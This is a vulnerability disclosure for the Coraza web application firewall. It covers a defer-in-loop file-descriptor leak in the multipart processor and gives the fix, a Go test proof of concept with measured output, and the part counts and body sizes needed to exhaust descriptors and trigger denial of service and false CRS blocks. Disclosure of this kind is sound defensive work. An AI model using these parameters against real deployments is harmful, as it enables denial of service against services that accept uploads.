Summary

defer temp.Close() sits inside a for loop in the multipart processor. Go defers run at function return, not loop end, so every file part in the request holds an open fd until ProcessRequest() exits. Send enough parts and you hit EMFILE. With CRS loaded, that flips MULTIPART_STRICT_ERROR to 1 and rule 200001 starts returning 400s, including on legitimate requests hitting the same condition.

Details

internal/bodyprocessors/multipart.go, line 69:

for {
    p, err := mr.NextPart()
    // ...
    temp, err := os.CreateTemp(storagePath, "crzmp*")
    defer temp.Close() // wrong scope
    io.Copy(temp, p)
}

Each iteration opens a temp file and defers its close. All of them stack up and fire together when ProcessRequest returns. 500 parts, 500 fds held simultaneously.

The body size limit (default 128MB) caps total bytes, not part count. A minimal file part (boundary line, Content-Disposition with filename=, one byte of content) is about 104 bytes. That's roughly 65,000 parts per 6.8MB of body, which on a standard Linux system (hard fd limit 65536) is enough to exhaust the table.

Fix is straightforward: call temp.Close() explicitly after io.Copy instead of deferring it.

PoC

Tested on v3.7.0 (db9850b), Go 1.25, Linux x86_64.

Add this file at internal/bodyprocessors/poc_fd_test.go and run:

go test -v -run TestMultipartFDLeak ./internal/bodyprocessors/...

package bodyprocessors_test

import (
	"fmt"
	"os"
	"strings"
	"sync"
	"sync/atomic"
	"testing"

	"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes"
	"github.com/corazawaf/coraza/v3/internal/bodyprocessors"
	"github.com/corazawaf/coraza/v3/internal/corazawaf"
)

func countFDs() int {
	e, _ := os.ReadDir("/proc/self/fd")
	return len(e)
}

func TestMultipartFDLeak(t *testing.T) {
	boundary := "testboundary"
	var sb strings.Builder
	for i := 0; i < 500; i++ {
		fmt.Fprintf(&sb, "--%s\r\n", boundary)
		fmt.Fprintf(&sb, "Content-Disposition: form-data; name=\"f%d\"; filename=\"f%d.txt\"\r\n", i, i)
		sb.WriteString("\r\n")
		sb.WriteString("X\r\n")
	}
	fmt.Fprintf(&sb, "--%s--\r\n", boundary)

	mp, _ := bodyprocessors.GetBodyProcessor("multipart")
	baseline := countFDs()

	var peak int64
	done := make(chan struct{})
	var wg sync.WaitGroup
	wg.Add(1)
	go func() {
		defer wg.Done()
		for {
			select {
			case <-done:
				return
			default:
				n := int64(countFDs())
				for {
					cur := atomic.LoadInt64(&peak)
					if n <= cur || atomic.CompareAndSwapInt64(&peak, cur, n) {
						break
					}
				}
			}
		}
	}()

	v := corazawaf.NewTransactionVariables()
	mp.ProcessRequest(strings.NewReader(sb.String()), v,
		plugintypes.BodyProcessorOptions{
			Mime:        "multipart/form-data; boundary=" + boundary,
			StoragePath: t.TempDir(),
		})
	close(done)
	wg.Wait()

	t.Logf("baseline=%d  peak=%d  spike=+%d",
		baseline, atomic.LoadInt64(&peak),
		atomic.LoadInt64(&peak)-int64(baseline))
}

Output:

baseline=7  peak=506  spike=+499

The spike is ~1 fd per part. After ProcessRequest returns the deferred closes fire and it drops back to baseline.

Impact

• No authentication required. Any endpoint that accepts multipart uploads is affected.
• fd exhaustion at ~6.8MB body (~65k parts). os.CreateTemp starts returning errors and MULTIPART_STRICT_ERROR is set to 1.
• CRS false positives / DoS. With CRS loaded, rule 200001 then blocks the request with a 400 — and any other multipart request processed concurrently that runs into the same condition gets blocked too. At that point the WAF can't distinguish the attack from a legitimate upload.
• Process-wide impact. While the fd table is full the process can't open sockets or files for anything else either.
• Scope. Affects all v3.x releases; the defer has been present since the multipart processor was introduced.